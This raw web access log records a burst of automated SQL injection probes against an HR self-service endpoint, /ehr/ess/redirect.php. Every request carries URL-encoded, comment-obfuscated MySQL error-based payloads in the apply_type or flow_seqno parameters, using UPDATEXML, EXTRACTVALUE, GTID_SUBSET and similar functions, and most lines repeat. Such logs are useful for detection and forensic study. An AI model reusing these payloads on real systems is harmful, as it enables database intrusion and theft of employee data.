100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x42754869%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6153384a%29%2C5431%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x42754869%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6153384a%29%2C5431%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x33436f32%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31385a42%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x33436f32%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31385a42%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x5855366e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67615835%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x5855366e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67615835%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b546e59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a53534e%29%29x%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6b546e59%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a53534e%29%29x%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x776a7836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x516f4149%29%2C5431%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x776a7836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x516f4149%29%2C5431%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4651504a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a783141%29%29x%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4651504a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a783141%29%29x%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x33447236%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77356438%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x33447236%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77356438%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x625a7935%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x365a394b%29%29%2C1%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x625a7935%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x365a394b%29%29%2C1%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x72715955%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x764b6575%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x72715955%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x764b6575%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4e307858%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x726d4768%29%29%2C1%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4e307858%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x726d4768%29%29%2C1%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x594a7644%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47676830%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x594a7644%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47676830%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x676c3263%2C%28NULL%29%2C0x78365973%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x676c3263%2C%28NULL%29%2C0x78365973%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x50364645%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71426449%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x50364645%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71426449%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x52697359%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62695a42%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:08 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x52697359%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62695a42%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x74733949%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x654a6e48%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x74733949%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x654a6e48%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a366544%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6356566b%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a366544%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6356566b%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x66487561%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6839586e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x66487561%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6839586e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d4d4657%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62456166%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d4d4657%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62456166%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x52323274%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78337462%29%2C6420%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x52323274%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78337462%29%2C6420%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:09 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x44364d65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34387245%29%2C6420%29--%2F%2A%2A%2F-&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
